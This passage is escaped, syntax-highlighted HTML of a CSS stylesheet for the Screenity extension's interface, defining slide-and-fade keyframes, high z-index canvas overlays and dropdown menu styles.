}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003eto\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003eopacity\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003etransform\u003c/span\u003e: translateY(\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e@\u003cspan style=\"color:#66d9ef\"\u003ekeyframes\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003eslideRightAndFade\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003efrom\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003eopacity\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003etransform\u003c/span\u003e: translateX(\u003cspan style=\"color:#ae81ff\"\u003e-2\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003eto\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003eopacity\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003etransform\u003c/span\u003e: translateX(\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e@\u003cspan style=\"color:#66d9ef\"\u003ekeyframes\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003eslideDownAndFade\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003efrom\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003eopacity\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003etransform\u003c/span\u003e: translateY(\u003cspan style=\"color:#ae81ff\"\u003e-2\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003eto\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003eopacity\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003etransform\u003c/span\u003e: translateY(\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e@\u003cspan style=\"color:#66d9ef\"\u003ekeyframes\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003eslideLeftAndFade\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003efrom\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003eopacity\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003etransform\u003c/span\u003e: translateX(\u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003eto\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003eopacity\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003etransform\u003c/span\u003e: translateX(\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e#screenity-ui \u003cspan style=\"color:#f92672\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003edata-radix-popper-content-wrapper\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e]\u003c/span\u003e { \u003cspan style=\"color:#66d9ef\"\u003ez-index\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e999999999999\u003c/span\u003e\u003cspan style=\"color:#75715e\"\u003e!important\u003c/span\u003e; } \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e.\u003cspan style=\"color:#a6e22e\"\u003escreenity-shadow-dom\u003c/span\u003e .\u003cspan style=\"color:#a6e22e\"\u003eCanvasContainer\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#66d9ef\"\u003eposition\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003efixed\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\tpointer-events: \u003cspan style=\"color:#66d9ef\"\u003eall\u003c/span\u003e\u003cspan style=\"color:#75715e\"\u003e!important\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#66d9ef\"\u003etop\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e\u003cspan style=\"color:#75715e\"\u003e!important\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#66d9ef\"\u003eleft\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e\u003cspan style=\"color:#75715e\"\u003e!important\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#66d9ef\"\u003ez-index\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e99999999999\u003c/span\u003e\u003cspan style=\"color:#75715e\"\u003e!important\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e.\u003cspan style=\"color:#a6e22e\"\u003escreenity-shadow-dom\u003c/span\u003e .\u003cspan style=\"color:#a6e22e\"\u003ecanvas\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#66d9ef\"\u003eposition\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003efixed\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#66d9ef\"\u003etop\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e\u003cspan style=\"color:#75715e\"\u003e!important\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#66d9ef\"\u003eleft\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e\u003cspan style=\"color:#75715e\"\u003e!important\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#66d9ef\"\u003ez-index\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e99999999999\u003c/span\u003e\u003cspan style=\"color:#75715e\"\u003e!important\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#66d9ef\"\u003ebackground\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003etransparent\u003c/span\u003e\u003cspan style=\"color:#75715e\"\u003e!important\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e.\u003cspan style=\"color:#a6e22e\"\u003escreenity-shadow-dom\u003c/span\u003e .\u003cspan style=\"color:#a6e22e\"\u003ecanvas-container\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#66d9ef\"\u003etop\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e\u003cspan style=\"color:#75715e\"\u003e!important\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#66d9ef\"\u003eleft\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e\u003cspan style=\"color:#75715e\"\u003e!important\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#66d9ef\"\u003ez-index\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e99999999999\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#66d9ef\"\u003eposition\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003efixed\u003c/span\u003e\u003cspan style=\"color:#75715e\"\u003e!important\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#66d9ef\"\u003ebackground\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003etransparent\u003c/span\u003e\u003cspan style=\"color:#75715e\"\u003e!important\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e.\u003cspan style=\"color:#a6e22e\"\u003eScreenityDropdownMenuContent\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#66d9ef\"\u003ez-index\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e99999999999\u003c/span\u003e\u003cspan style=\"color:#75715e\"\u003e!important\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003emin-width\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e200\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003ebackground-color\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003ewhite\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003emargin-top\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e4\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003emargin-right\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e8\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003epadding-top\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e12\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003epadding-bottom\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e12\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003eborder-radius\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e15\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003ez-index\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e99999\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003efont-family\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Satoshi-Medium\u0026#39;\u003c/span\u003e, \u003cspan style=\"color:#66d9ef\"\u003esans-serif\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003ecolor\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e#29292F\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003ebox-shadow\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e10\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e38\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e-10\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e rgba(\u003cspan style=\"color:#ae81ff\"\u003e22\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e23\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e24\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e0.35\u003c/span\u003e),\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e10\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e20\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e-15\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e rgba(\u003cspan style=\"color:#ae81ff\"\u003e22\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e23\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e24\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e0.2\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003eanimation-duration\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e400\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003ems\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003eanimation-timing-function\u003c/span\u003e: cubic-bezier(\u003cspan style=\"color:#ae81ff\"\u003e0.16\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e0.3\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003ewill-change\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003etransform\u003c/span\u003e, \u003cspan style=\"color:#66d9ef\"\u003eopacity\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e.\u003cspan style=\"color:#a6e22e\"\u003eScreenityDropdownMenuContent\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003edata-side\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;top\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e]\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003eanimation-name\u003c/span\u003e: slideDownAndFade;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e.\u003cspan style=\"color:#a6e22e\"\u003eScreenityDropdownMenuContent\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003edata-side\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;right\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e]\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003eanimation-name\u003c/span\u003e: slideLeftAndFade;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e.\u003cspan style=\"color:#a6e22e\"\u003eScreenityDropdownMenuContent\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003edata-side\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;bottom\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e]\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003eanimation-name\u003c/span\u003e: slideUpAndFade;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e.\u003cspan style=\"color:#a6e22e\"\u003eScreenityDropdownMenuContent\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003edata-side\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;left\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e]\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003eanimation-name\u003c/span\u003e: slideRightAndFade;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e.\u003cspan style=\"color:#a6e22e\"\u003eScreenityItemIndicator\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003eposition\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003eabsolute\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003eright\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e12\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e; \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003ewidth\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e18\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003eheight\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e18\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003ebackground\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e#3080F8\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003eborder-radius\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e50\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003e%\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003edisplay\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003einline-flex\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003ealign-items\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003ecenter\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003ejustify-content\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003ecenter\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e.\u003cspan style=\"color:#a6e22e\"\u003eScreenityDropdownMenuItem\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e.\u003cspan style=\"color:#a6e22e\"\u003eScreenityDropdownMenuRadioItem\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003efont-size\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e14\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003eline-height\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003edisplay\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003eflex\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003ealign-items\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003ecenter\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003eheight\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e40\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan 